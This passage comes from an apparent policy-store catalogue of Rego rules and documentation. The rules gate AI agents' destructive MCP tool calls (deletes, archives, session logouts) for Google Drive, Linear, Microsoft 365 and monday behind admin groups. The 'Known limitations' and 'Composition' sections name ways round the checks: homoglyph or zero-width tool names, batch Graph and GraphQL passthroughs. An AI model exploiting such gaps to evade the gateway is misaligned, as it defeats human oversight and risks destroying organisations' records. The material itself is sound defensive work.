web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package google_drive.ingress.freeze_destructive_ops # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Destructive tool-name suffixes exposed by piotr-agier/google-drive-mcp # (v2.2.0, verified from its README). The gateway prefixes tool names with # the configured MCP server name (e.g. `google-drive-mcp-deleteItem`), so we # match case-insensitively on the suffix to stay portable across naming # conventions. `deleteCalendarEvent` from the same server is deliberately # absent — it belongs to the google-calendar catalog directory. destructive_suffixes := [ "deleteitem", # files and folders (trash-recoverable ~30 days) "deletesheet", # a sheet within a spreadsheet "deleterange", # a cell range within a sheet "deletegoogleslide", # a slide within a presentation "deletecomment", # a comment thread ] is_destructive_tool if { name := lower(input.resource.name) some suffix in destructive_suffixes endswith(name, suffix) } # Allow any tool that isn't a Drive delete operation. allow if { not is_destructive_tool } # Allow delete operations only for members of the drive-admins IdP group. allow if { is_destructive_tool caller_is_drive_admin } # `drive-admins` is a placeholder — replace it with your IdP's group name at # import time. The object.get chain fails closed: a missing subject, claims # object, or groups claim yields an empty list, so the caller is not exempt. # The `is_array` guard is load-bearing: without it, `some group in groups` # would iterate the *values* of a `groups` claim shaped as an object/map, so a # claim like {"groups": {"role": "drive-admins"}} would fail OPEN and grant the # exemption. Requiring an array forces every non-array shape (string, object, # number, null) to fail closed, matching the documented guarantee. caller_is_drive_admin if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) is_array(groups) some group in groups group == "drive-admins" } reasons contains "Deleting Google Drive content from an agent is blocked. Ask a human collaborator to perform the deletion in the Drive UI instead. If this is a false positive, ask your gateway administrator to add you to the drive-admins IdP group or contact your InfoSec team." if { is_destructive_tool not caller_is_drive_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze Destructive Linear Operations URL: https://www.intentbasedpolicy.com/policies/linear/freeze-destructive-ops App(s): linear | Direction: ingress | Bundles: soc2 | Package: linear.ingress.freeze_destructive_ops | Published: 2026-07-12 | Tags: linear, freeze-destructive-ops, record-integrity, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/linear/freeze-destructive-ops/policy.md # linear / freeze-destructive-ops **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `linear.ingress.freeze_destructive_ops` ## What it does Denies destructive Linear tool calls — the **delete**, **archive**, and **session-logout** classes — unless the caller's IdP token carries the placeholder group `linear-admins`. Every read tool and every non-destructive write passes through unchanged. The destructive set is the community `tacticlaunch/mcp-linear` sidecar's destructive surface. Explicitly covered: - **`linear_deleteComment`, `linear_deleteInitiative`** — permanent deletes (Linear's *delete* is trash-then-permanent, distinct from recoverable *archive*). - **`linear_archiveIssue`, `linear_archiveDocument`, `linear_archiveTeam`** — archives (archiving a team removes a whole team's workspace). - **`linear_removeUserFromTeam`** — a membership-destruction verb that does not begin with delete/archive/logout, so it is matched explicitly. - **`linear_logoutAllSessions`, `linear_logoutOtherSessions`, `linear_logoutSession`** — session revocation. `logoutAllSessions` logs the user out of Linear everywhere — an account-level denial-of-service an agent should never be able to trigger. Matching is by **verb class**, not by an enumerated list: any community tool whose verb segment is `delete`/`archive`/`logout` (anchored on the tacticlaunch `linear_` tool prefix) is gated, plus `removeUserFromTeam` by name. So future community destructive tools (`linear_deleteWebhook`, `linear_deleteCustomer`, `linear_archiveProject`, `linear_archiveMilestone`, …) are frozen without a policy update. The **official** Linear remote server (`mcp.linear.app`) exposes **no delete/archive/logout verbs** as of the last verified enumeration — its verbs are `list_`/`get_`/`create_`/`update_`. So on the official path this policy is a **safe no-op** that costs nothing; its job is to **fence the community sidecar**, where an agent acting on a hallucinated "cleanup" step or a prompt-injection payload could otherwise destroy records or lock a user out of Linear. The check runs at ingress, before the call reaches the MCP server, so a blocked delete/archive/logout never executes. `default allow := false` here bites **only** on the matched destructive tools — the deny-by-default is neutralized for every other tool by an explicit pass-through `allow` branch (`not is_destructive_tool`). Reads (`get_issue`, `linear_getIssues`, `linear_searchDocuments`, …) and non-destructive writes (`create_issue`, `linear_createIssue`, `linear_updateIssue`, `linear_createComment`, …) are never touched by this policy. ## Compliance alignment - **SOC 2 PI1.5** — supports integrity of stored records by removing the agent's unilateral ability to destroy them (comments, issues, initiatives, documents, and team workspaces cannot be permanently deleted or archived by a non-admin caller over the agent channel, whether by agent error or injected instruction); the admin-group exemption keeps the destructive verbs under least-privilege control (aligns with the RBAC posture of CC6.3). The session-logout freeze additionally supports availability of the record system by preventing an agent-triggered account lockout. ## Tool name matching The community `tacticlaunch/mcp-linear` server prefixes every tool with `linear_` and uses camelCase verbs (`linear_deleteComment`, `linear_archiveIssue`, `linear_logoutAllSessions`). Behind a DTwo gateway the tool additionally receives the configured server-name prefix (e.g. `linear-linear_deleteComment`). The verb sits **between** the `linear_` prefix and the object noun, so matching is done on the verb segment, case-insensitively, after normalizing underscores to hyphens: - **`linear-delete` / `linear-archive` / `linear-logout` (substring match).** These anchor on the tacticlaunch tool's **own** `linear_` prefix (normalized to `linear-`), which the tool keeps regardless of the gateway server-name prefix. So `linear_deleteComment`, `linear-linear_deleteComment` (gateway-prefixed), and `foo-linear_deleteComment` (any server name) all match, and the match does not depend on knowing the gateway's server name. - **`removeuserfromteam` (substring match).** `linear_removeUserFromTeam` is a destructive membership verb outside the three verb classes, so it is caught by an explicit `contains` (same operator as the verb-class markers, so it is robust to a trailing-decorated name). Underscores are normalized to hyphens before matching, so a snake_case-named destructive variant (e.g. a hypothetical `linear_delete_comment`) is gated too. The name is read from both the PARC field (`input.resource.name`) and the legacy alias (`input.payload.name`) via `object.get` chains, and the two are matched **independently** — as long as **at least one** of the two fields still carries the real tool name, a request that garbles or omits the *other* field cannot skip the match. Each field is coerced to a lowercased, whitespace-trimmed string (a number, null, array, or object resolves to the empty string), so a non-string value in one field can never suppress a genuine destructive verb in the other. `trim_space` strips leading/trailing whitespace (spaces, tabs, newlines) so padding the verb with a trailing space or newline (`linear_deleteComment\n`) does not evade the match. Note the corollary: if the **only** populated name field is a non-string (or both are), it coerces to the empty string and the call is treated as non-destructive and passes through — harmless because such a malformed PARC cannot route to a real destructive tool at the MCP server (see Known limitations). The official server exposes no delete/archive/logout verbs and its tool set drifts (catalogs count 23 → 31), and the community set is ~150 tools. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape None. The decision uses only the tool name (`input.resource.name`, with the legacy `input.payload.name` as fallback) and the caller's identity (`input.subject.claims.groups`); arguments are not inspected. A delete/archive/logout call takes only a record or session identifier, so there is nothing in the arguments to distinguish a safe destructive call from a dangerous one — the whole verb class is frozen. Group membership is read via an `object.get(input.subject, "claims", {})` chain and fails closed: a missing subject, missing claims, missing `groups`, or a non-array `groups` value all mean "not admin", so the destructive call is denied. ## Examples ### Allowed — read tool, any caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "linear-linear_getIssues", "type": "tool" }, "payload": { "name": "linear-linear_getIssues", "args": { "teamId": "T1" } } } } ``` `allow = true`, no reason. ### Allowed — archiveIssue by an admin ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "linear-linear_archiveIssue", "type": "tool" }, "subject": { "sub": "admin@example.com", "claims": { "groups": ["linear-admins"] } }, "payload": { "name": "linear-linear_archiveIssue", "args": { "id": "ISS-1" } } } } ``` `allow = true`. ### Denied — logoutAllSessions by a non-admin ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "linear-linear_logoutAllSessions", "type": "tool" }, "subject": { "sub": "user@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "linear-linear_logoutAllSessions", "args": {} } } } ``` `allow = false`, `reason = "This destructive Linear operation is blocked (...)"`. ## Composition This policy is single-purpose: it freezes the delete/archive/logout classes plus `removeUserFromTeam`, and nothing else. Pair it with: - a **webhook lockdown** (ingress deny of `*createWebhook`/`*deleteWebhook`/`*updateWebhook`) — a standing webhook is out-of-band exfiltration and is intentionally out of scope here, - a **membership + impersonation deny** on `*addUserToTeam`/`*updateTeamMembership` (grants) — this policy only freezes the *removal* verb, - a **destructive-edit guard** on `update_issue`/`linear_updateIssue` if silent overwrite of a security ticket's description is in scope (see Known limitations), - an **egress redaction / roadmap-egress gate** on the read tools that leak initiatives, customer data, and audit events. ## Known limitations - **Group names are placeholders — replace `linear-admins` with your IdP's group name at import time.** The gate reads `input.subject.claims.groups`; confirm your IdP actually emits a `groups` claim (Auth0 and most IdPs require explicit configuration) before relying on the admin exemption. With no `groups` claim the policy still fails closed: destructive calls are denied for everyone. - **Destructive *edits* are out of scope.** This policy freezes delete/archive/logout verbs; it does **not** stop a destructive *update* — e.g. `update_issue` / `linear_updateIssue` overwriting a description, silently closing a security ticket, or `linear_updateIssueCustomField` clearing a value. Linear deliberately flattens its API so an update can blank fields. Guard those with a separate write/field-scope policy. - **Community-prefix assumption.** Matching anchors on the tacticlaunch `linear_` tool prefix and specifically on the `linear`→verb boundary being an **underscore** (normalized to `linear-`). Three ways a name could slip the delete/archive/logout markers, all requiring a differently-named upstream tool: (a) a community server drops the `linear_` prefix entirely and the gateway server name does not contain `linear` (a bare `delete_comment` → `lin-delete-comment`, no `linear-delete`); (b) a server glues the prefix without a separator (`linearDeleteComment` → `lineardeletecomment`, no hyphen); (c) a destructive verb outside `delete`/`archive`/`logout` and not containing `removeUserFromTeam` (e.g. a `purge*` or `destroy*` verb). In every case the name the gateway routes on differs from a real tacticlaunch tool, so a *real* `linear_delete*`/`archive*`/`logout*` call is still frozen — these are gaps against hypothetical differently-named servers, not evasions of the enumerated destructive set. The official server has no delete/archive/logout verbs, so this is a fence for community traffic; for a hard guarantee against unknown tools, compose the PF-28 `default-deny-unknown-tools` allowlist alongside this policy. - **Verb-class matching is broad by design.** It catches the whole community delete/archive/logout class (including tools not enumerated above, such as `linear_deleteWebhook` or `linear_archiveMilestone`). For a record-integrity freeze, over-matching is the safe direction. A read tool is not caught because the anchor is `linear-delete`/`linear-archive`/`linear-logout`: a read like `linear_getDocumentContentHistory` or `linear_getInitiatives` contains no such segment. - **Substring matching is exact apart from surrounding whitespace.** Matching is on the lowercased, `trim_space`d, underscore-normalized name, so leading/trailing spaces, tabs, and newlines are handled, and a trailing-decorated verb (extra chars after `deleteComment` / `removeUserFromTeam`) is still caught because every marker uses `contains`. It does **not** normalize other characters: a name carrying an invisible non-whitespace code point *inside* the verb (e.g. U+200B zero-width space) or a Unicode homoglyph of the verb would not match and would pass through. Likewise, a call whose only populated name field is a non-string (array/object/number/null) coerces to the empty string and passes through as non-destructive. These are not real evasions on a correctly configured gateway — the gateway routes on the exact server-registered tool name, so a padded/homoglyph/malformed name does not resolve to the real destructive tool at the MCP server — but if you cannot rely on that invariant, compose the PF-28 `default-deny-unknown-tools` allowlist alongside this policy. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package linear.ingress.freeze_destructive_ops # Deny-by-default: only the explicit allow rules below permit the request. # Note: the pass-through allow branch (`not is_destructive_tool`) neutralizes # this default for every non-destructive tool, so the default-deny bites only # on the matched destructive verbs. default allow := false # Placeholder IdP group allowed to run destructive Linear operations. # Replace "linear-admins" with your IdP's group name at import time. admin_group := "linear-admins" # --- Destructive verb matching --- # The community tacticlaunch/mcp-linear server prefixes tools with `linear_` # and uses camelCase verbs (linear_deleteComment, linear_archiveIssue, # linear_logoutAllSessions). Behind a DTwo gateway the tool also gets the # configured server-name prefix (e.g. linear-linear_deleteComment). The verb # sits BETWEEN the `linear_` prefix and the object noun, so we match on the # verb segment (not a clean suffix), anchored on the tool's own `linear_` # prefix so the gateway server name is irrelevant. The official Linear server # has no delete/archive/logout verbs, so this is a no-op there. # Verify the exact names on your gateway with the dump-input debug technique. # Verb-class markers (underscores normalized to hyphens before matching): # any tool whose verb segment after the community `linear_` prefix is # delete/archive/logout is destructive. destructive_markers := [ "linear-delete", "linear-archive", "linear-logout", ] # Explicit destructive verbs outside the three classes. removeUserFromTeam is # membership-destruction that does not start with delete/archive/logout, so it # is matched as a substring (contains, not endswith) — consistent with the # verb-class markers above and, since over-match is the safe direction for a # record-integrity freeze, it also catches any trailing-decorated variant. destructive_substrings := ["removeuserfromteam"] # Tool name is read via object.get chains from BOTH the PARC field # (input.resource.name) and the legacy alias (input.payload.name), so a # request that somehow omits the resource block still cannot skip matching # (red-team hardening: missing resource must not fail open). # name_of coerces to a lowercased, whitespace-trimmed, underscore-normalized # string. A missing OR non-string value (number, null, array, object) resolves # to "" rather than leaving the rule undefined — an undefined name would make # the match checks undefined and skip matching entirely (fail-open). # trim_space strips leading/trailing whitespace so a padded name like # "linear_deleteComment\n" cannot slip past. Underscores are normalized to # hyphens so the markers match camelCase (linear_deleteComment) and any # snake_case variant (linear_delete_comment) alike. name_of(key) := replace(trim_space(lower(v)), "_", "-") if { v := object.get(object.get(input, key, {}), "name", "") is_string(v) } name_of(key) := "" if { v := object.get(object.get(input, key, {}), "name", "") not is_string(v) } resource_name := name_of("resource") payload_name := name_of("payload") # A single name is destructive if it contains a verb-class marker OR contains # an explicit destructive verb. name_is_destructive(n) if { some marker in destructive_markers contains(n, marker) } name_is_destructive(n) if { some sub in destructive_substrings contains(n, sub) } # Both names are checked independently. Keeping separate branches means a # malformed (non-string) value in one field cannot suppress a real destructive # verb in the other. is_destructive_tool if { name_is_destructive(resource_name) } is_destructive_tool if { name_is_destructive(payload_name) } # --- Admin gate --- # Reads the groups claim through object.get chains so a missing subject, # missing claims, missing groups, or non-array groups value fails closed: # the caller is simply not an admin and the destructive call is denied. # The is_array guard is load-bearing: without it, a groups claim that is an # OBJECT whose values happen to include "linear-admins" (e.g. {"0":"linear-admins"}) # would satisfy `some group in groups` and fail OPEN. Requiring an array means # any non-array groups shape (string, object, number) fails closed. caller_is_admin if { claims := object.get(input.subject, "claims", {}) groups := object.get(claims, "groups", []) is_array(groups) some group in groups group == admin_group } # Allow any tool outside the destructive set. allow if { not is_destructive_tool } # Allow destructive tools only for members of the admin group. allow if { is_destructive_tool caller_is_admin } reasons contains "This destructive Linear operation is blocked. Delete and archive tools permanently remove records (comments, issues, initiatives, documents, teams) with no agent-side undo, and the session-logout tools can lock a user out of Linear entirely, so a hallucinated cleanup step or a prompt-injection payload could destroy work or trigger an account denial-of-service. Route this request through a member of your Linear admin group (placeholder: linear-admins) instead. If you believe this block is a false positive, ask your InfoSec team to add you to that group." if { is_destructive_tool not caller_is_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze Destructive Microsoft 365 Operations URL: https://www.intentbasedpolicy.com/policies/ms365/freeze-destructive-ops App(s): ms365 | Direction: ingress | Bundles: sox, soc2 | Package: ms365.ingress.freeze_destructive_ops | Published: 2026-07-12 | Tags: ms365, freeze-destructive-ops, record-integrity, ingress, sox, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/ms365/freeze-destructive-ops/policy.md # ms365 / freeze-destructive-ops **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `ms365.ingress.freeze_destructive_ops` ## What it does Denies every Microsoft 365 tool call whose verb segment is `delete-` or `cancel-` unless the caller's IdP token carries the placeholder group `m365-admin`. All other tool calls pass through unchanged. Deletes and cancels are the irreversible-leaning end of the M365 tool surface: a deleted mail message, OneDrive file, group, Excel range, or SharePoint list item may be unrecoverable, and a cancelled calendar event notifies every attendee. An agent acting on a hallucinated instruction or an injected prompt must not be able to destroy records — so the destructive verb family is frozen for everyone except an explicitly designated admin group. The check runs at ingress, before the call reaches the MCP server, so a blocked delete never executes. Verified tools this catches (softeria `ms-365-mcp-server`, observed live behind a gateway with the `ms365-` prefix): `delete-mail-message`, `delete-mail-folder`, `delete-onedrive-file`, `delete-drive-item-permission`, `delete-excel-range`, `delete-excel-table-row`, `delete-sharepoint-list-item`, `delete-sharepoint-list-column`, `delete-group`, `delete-team-channel`, `delete-calendar`, `delete-calendar-event`, `delete-online-meeting`, `delete-subscription`, `delete-mail-rule`, `delete-onenote-page`, `delete-todo-task`, `cancel-calendar-event`. The verb matcher is deliberately broader than this list: any current or future tool whose verb segment is `delete-` or `cancel-` (e.g. `delete-outlook-contact`, `delete-planner-bucket`, `delete-contact-folder`) is gated without a policy update. ## Compliance alignment - **SOX §802 / 18 U.S.C. §1519** — supports the anti-destruction/alteration-of-records requirement: financial records on the agent channel cannot be deleted by a non-admin caller, whether by agent error or by injected instruction. **Rule 2-06** — supports retention and legal-hold posture on the same paths. - **SOX EUC/spreadsheet integrity** — `delete-excel-range` and `delete-excel-table-row` on SOX-critical workbooks are admin-gated. - **SOC 2 PI1.5** — supports integrity of stored records by removing the agent's unilateral ability to destroy them. - **HIPAA §164.312(c)** — supports the integrity standard (protection of ePHI from improper destruction); **§164.530(c)** — supports privacy safeguards over records held in mailboxes and drives. - **GDPR Art. 5(1)(d)** — supports accuracy by preventing mass-deletion/corruption of personal-data records through the agent channel. ## Tool name matching The softeria server names tools verb-first (`delete-mail-message`, `cancel-calendar-event`), and the DTwo gateway prepends the configured MCP server name (observed live as `ms365-`). Because the prefix is deployment-specific, the policy matches the verb segment rather than exact names, case-insensitively: - contains `-delete-` or `-cancel-` (prefixed deployments, e.g. `ms365-delete-mail-message`) - starts with `delete-` or `cancel-` (unprefixed/local deployments) Underscores in the tool name are normalized to hyphens before matching, so a snake_case-named variant (`delete_mail_message`) is gated too. The name is read from both the PARC field (`input.resource.name`) and the legacy alias (`input.payload.name`) via `object.get` chains, and the two are matched **independently** — a request missing the `resource` block, or one carrying a malformed (non-string) value in either field, still cannot skip the match. Each field is coerced to a lowercased string (a number, null, array, or object resolves to the empty string), so a non-string value in one field can never suppress a genuine `delete-`/`cancel-` verb in the other. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. The match is substring-based, so a hypothetical tool with `delete`/`cancel` in a noun position would also be gated — for a record-integrity policy, over-matching is the safe direction. ## Argument shape None. The decision uses only the tool name (`input.resource.name`, with the legacy `input.payload.name` as fallback) and the caller's identity (`input.subject.claims.groups`); arguments are not inspected. Group membership is read via `object.get`-chained access to `input.subject.claims.groups` and fails closed: a missing subject, missing claims, missing `groups`, or a non-array `groups` value all mean "not admin", so the destructive call is denied. ## Examples ### Allowed — read tool, any caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-list-mail-messages", "type": "tool" }, "payload": { "name": "ms365-list-mail-messages", "args": {} } } } ``` `allow = true`, no reason. ### Allowed — delete by an admin ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-delete-mail-message", "type": "tool" }, "subject": { "sub": "admin@example.com", "claims": { "groups": ["m365-admin"] } }, "payload": { "name": "ms365-delete-mail-message", "args": { "messageId": "AAMk..." } } } } ``` `allow = true`. ### Denied — delete by a non-admin ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "ms365-delete-onedrive-file", "type": "tool" }, "subject": { "sub": "user@example.com", "claims": { "groups": ["finance"] } }, "payload": { "name": "ms365-delete-onedrive-file", "args": { "driveId": "b!x", "driveItemId": "01A" } } } } ``` `allow = false`, `reason = "This delete/cancel operation is blocked because it is irreversible (...)"`. ## Composition This policy is single-purpose: it freezes the `delete-`/`cancel-` verb family and nothing else. Pair it with: - a role-gate policy for the wider write surface (`remove-group-member`, `remove-team-member`, `add-group-owner`, `upload-file-content` overwrites, `clear-excel-range`) — those verbs are destructive-adjacent but intentionally out of scope here, - an ingress deny on `graph-batch` (and, for Lokka deployments, on non-GET `Lokka-Microsoft` calls) — arbitrary Graph passthrough can issue DELETE requests without ever touching a `delete-*` tool name, - a mail-rule/subscription tampering policy (`create-mail-rule`, `update-mail-rule`, `create-subscription`). ## Known limitations - **Group names are placeholders — replace `m365-admin` with your IdP's group name at import time.** The gate reads `input.subject.claims.groups`; confirm your IdP actually emits a `groups` claim (Auth0 and Entra ID both require explicit configuration) before relying on the admin exemption. With no `groups` claim, the policy still fails closed: destructive calls are denied for everyone. - **`graph-batch` and Lokka bypass name matching.** A batched Graph request or Lokka's single passthrough tool can perform DELETE operations without a `delete-*` tool name. Gate those tools with the companion policies above. - **Destruction by overwrite is not covered.** `update-*` tools and `upload-file-content` can effectively destroy content by replacing it; `clear-excel-range` and `remove-*` membership tools are also out of scope. Those belong to the write-gating companion policy — this policy stays single-job on the delete/cancel verb family. - **Anthropic's hosted M365 connector is out of reach.** It runs Anthropic-hosted and does not traverse a customer gateway, so no gateway policy applies to it. - **Recoverability varies by workload.** Some deletes go to recoverable-items/recycle-bin stages with retention windows; others (permission deletes, Excel ranges, subscriptions) are effectively immediate. The policy treats the whole verb family as irreversible rather than modeling per-workload recovery. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package ms365.ingress.freeze_destructive_ops # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Placeholder IdP group allowed to run delete/cancel operations. # Replace "m365-admin" with your IdP's group name at import time. admin_group := "m365-admin" # --- Destructive verb matching --- # The softeria ms-365-mcp-server names tools verb-first (delete-mail-message, # cancel-calendar-event) and the gateway prepends the configured MCP server # name (observed live as `ms365-`), so the verb segment appears after a # hyphen in prefixed deployments and at the start in unprefixed ones. # Verify the exact names on your gateway with the dump-input debug technique. # Tool name is read via object.get chains from BOTH the PARC field # (input.resource.name) and the legacy alias (input.payload.name), so a # request that somehow omits the resource block still cannot skip matching # (red-team hardening: missing resource must not fail open). # name_of coerces to a lowercased string. A missing OR non-string value # (number, null, array, object) resolves to "" rather than leaving the rule # undefined — critical, because an undefined name would make the set literal # in is_destructive_tool undefined and skip matching entirely (fail-open). name_of(key) := lower(v) if { v := object.get(object.get(input, key, {}), "name", "") is_string(v) } name_of(key) := "" if { v := object.get(object.get(input, key, {}), "name", "") not is_string(v) } resource_name := name_of("resource") payload_name := name_of("payload") # Both names are checked independently. Reading the two fields into a set and # iterating would re-couple them; keeping separate branches means a malformed # (non-string) value in one field cannot suppress a real delete/cancel verb in # the other. is_destructive_tool if { # Normalize underscores to hyphens so a snake_case-named variant of the # verb family (e.g. delete_mail_message) is still gated. Over-matching # is the safe direction for a record-integrity freeze. destructive_verb(replace(resource_name, "_", "-")) } is_destructive_tool if { destructive_verb(replace(payload_name, "_", "-")) } # Verb segment after a hyphen (prefixed deployments, e.g. ms365-delete-*). destructive_verb(name) if contains(name, "-delete-") destructive_verb(name) if contains(name, "-cancel-") # Verb segment at the start (unprefixed/local deployments). destructive_verb(name) if startswith(name, "delete-") destructive_verb(name) if startswith(name, "cancel-") # --- Admin gate --- # Reads the groups claim through object.get chains so a missing subject, # missing claims, missing groups, or non-array groups value fails closed: # the caller is simply not an admin and the destructive call is denied. caller_is_admin if { claims := object.get(input.subject, "claims", {}) groups := object.get(claims, "groups", []) some group in groups group == admin_group } # Allow any tool outside the delete/cancel verb family. allow if { not is_destructive_tool } # Allow delete/cancel tools only for members of the admin group. allow if { is_destructive_tool caller_is_admin } reasons contains "This delete/cancel operation is blocked because it is irreversible: records must survive agent error and prompt injection. Move the item to another folder or archive it instead of deleting. For legitimate admin cleanup, ask a member of your Microsoft 365 admin group (placeholder: m365-admin) to run it, or ask your InfoSec team to add you to that group." if { is_destructive_tool not caller_is_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze Destructive monday Operations URL: https://www.intentbasedpolicy.com/policies/monday/freeze-destructive-ops App(s): monday | Direction: ingress | Bundles: soc2 | Package: monday.ingress.freeze_destructive_ops | Published: 2026-07-12 | Tags: monday, freeze-destructive-ops, record-integrity, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/monday/freeze-destructive-ops/policy.md # monday / freeze-destructive-ops **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `monday.ingress.freeze_destructive_ops` ## What it does Splits monday's destructive tool surface into two tiers and treats each differently at ingress, before the call ever reaches the monday MCP server: - **Tier 1 — irreversible, whole-board blast radius (denied for everyone, no admin override):** - `delete_column` — drops that column's stored data on **every item** on the board. - `delete_object_schema` — destroys a shared object schema account-wide. - `delete_object_schema_columns` — destroys columns of a shared object schema account-wide. None of these route to a recycle bin. There is no caller who can run them over MCP; the block is unconditional. Make these structural changes from the monday web UI, where they can be reviewed. - **Tier 2 — recycle-bin-recoverable, per-record (denied unless the caller is an admin):** - `delete_item` — removes an item; recoverable from monday's recycle bin (~30 days). - `delete_update` — removes an update (comment) from an item. - `undo_action` — reverses the previous action. - `archive_item` — archives an item (community server; recoverable). These are gated behind the placeholder IdP group `monday-admins`. A caller in that group may run them; everyone else is denied. This matters because monday's delete verbs carry no safety rail: `delete_item` takes **only an `itemId` with no confirmation field**, so a hallucinated "cleanup" step or a prompt-injected instruction can quietly destroy business records (HR/recruiting, CRM/deal, IT/security, and healthcare project boards all live in monday). Freezing the irreversible verbs outright and admin-gating the recoverable ones keeps records intact when an agent errs or is manipulated. Every read tool and every non-destructive write (`create_item`, `change_item_column_values`, `create_update`, `create_board`, `create_object_schema`, `manage_object_schema_columns`, …) passes through unchanged. `default allow := false` is neutralized for those by an explicit pass-through `allow` branch — the deny-by-default bites only on the matched destructive suffixes. ## Compliance alignment - **SOX §802 / 18 U.S.C. §1519** — supports the anti-destruction/alteration-of-records requirement (PF-06): destructive monday tools on the agent channel cannot permanently erase records by agent error or injected instruction, and the irreversible verbs cannot be run at all. **Rule 2-06** — supports retention and legal-hold posture on the same board records. - **SOC 2 PI1.5** — supports integrity of stored records by removing the agent's unilateral ability to destroy them. - **HIPAA §164.312(c)** — supports the integrity standard (protection of records from improper destruction) where monday items/updates carry PHI in health-adjacent project boards; **§164.530(c)** — supports privacy safeguards over records held in item columns and updates. - **GDPR Art. 5(1)(d)** — supports the accuracy principle by blocking mass, unattributed corruption/destruction of personal data held on monday boards through the agent channel. ## Tool name matching The official monday server (`mondaycom/mcp`, hosted `https://mcp.monday.com/mcp` and local npm) exposes tools **unprefixed** and snake_case (`delete_item`, `delete_column`, …). The community sakce server (`sakce/mcp-server-monday`) prefixes every tool with `monday_` (`monday_delete_item`, `monday_archive_item`); its README also retains older hyphenated spellings. Behind a DTwo gateway both additionally receive the configured server-name prefix (e.g. `monday-`). Matching is therefore done by **suffix**, case-insensitively: - Tier 1: `endswith(name, "delete_column")`, `endswith(name, "delete_object_schema")`, `endswith(name, "delete_object_schema_columns")` — official-only tools; the sakce server has no counterpart, so those suffixes are harmless no-ops there. - Tier 2: `endswith(name, "delete_item")` catches official `delete_item` and community `monday_delete_item`; `endswith(name, "archive_item")` catches community `monday_archive_item`; `endswith(name, "delete_update")` and `endswith(name, "undo_action")` catch the official update-removal and undo verbs (and any `monday_`-prefixed variant). The name is read from **both** the PARC field (`input.resource.name`) and the legacy alias (`input.payload.name`) via `object.get` chains, and the two are matched **independently** — a request missing the `resource` block, or one carrying a malformed (non-string) value in either field, still cannot skip the match. Each field is coerced to a lowercased, whitespace-trimmed string (a number, null, array, or object resolves to the empty string), and `trim_space` strips leading/trailing whitespace before matching, so padding the verb with a trailing space, tab, or newline (`monday-delete_item\n`) does not evade the suffix check. monday's tool inventory drifts (the docs say to use `tools/list` for the current set). Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape None. The decision uses only the tool name (`input.resource.name`, with `input.payload.name` as an independent fallback) and, for the Tier 2 verbs, the caller's identity (`input.subject.claims.groups`). Arguments are not inspected: `delete_item` takes only an `itemId` with no confirmation field, so there is nothing in the arguments to distinguish a safe delete from a dangerous one — the whole verb is frozen or gated. Group membership is read through an `object.get(input.subject, "claims", {})` chain and fails closed: a missing subject, missing claims, missing `groups`, or a non-array `groups` value all mean "not admin", so the Tier 2 call is denied. The `is_array` guard is load-bearing — an object-shaped `groups` claim (`{"0":"monday-admins"}`) fails closed rather than granting admin. ## Examples ### Allowed — read tool, any caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "monday-get_board_items_page", "type": "tool" }, "payload": { "name": "monday-get_board_items_page", "args": { "boardId": 123 } } } } ``` `allow = true`, no reason. ### Allowed — delete_item by an admin ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "monday-delete_item", "type": "tool" }, "subject": { "sub": "admin@example.com", "claims": { "groups": ["monday-admins"] } }, "payload": { "name": "monday-delete_item", "args": { "itemId": 456 } } } } ``` `allow = true`. ### Denied — delete_item by a non-admin (Tier 2) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "monday-delete_item", "type": "tool" }, "subject": { "sub": "user@example.com", "claims": { "groups": ["marketing"] } }, "payload": { "name": "monday-delete_item", "args": { "itemId": 456 } } } } ``` `allow = false`, admin-gate reason. ### Denied — delete_column by an admin (Tier 1, no override) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "monday-delete_column", "type": "tool" }, "subject": { "sub": "admin@example.com", "claims": { "groups": ["monday-admins"] } }, "payload": { "name": "monday-delete_column", "args": { "boardId": 123, "columnId": "status" } } } } ``` `allow = false`, irreversible-tier reason — the admin group does **not** unlock Tier 1. ## Composition This policy is single-purpose: it freezes/gates the destructive delete-and-undo verbs and nothing else. Pair it with: - the **GraphQL escape-hatch deny** (PF-22 `deny-escape-hatches`): `all_monday_api` / `all_api_write` reduce every tool distinction — including deletions — to one opaque GraphQL string and would bypass this policy. Deny those separately. - the **default-deny-unknown-tools allowlist** (PF-28 `default-deny-unknown-tools`) so a future destructive verb that does not end in one of the matched 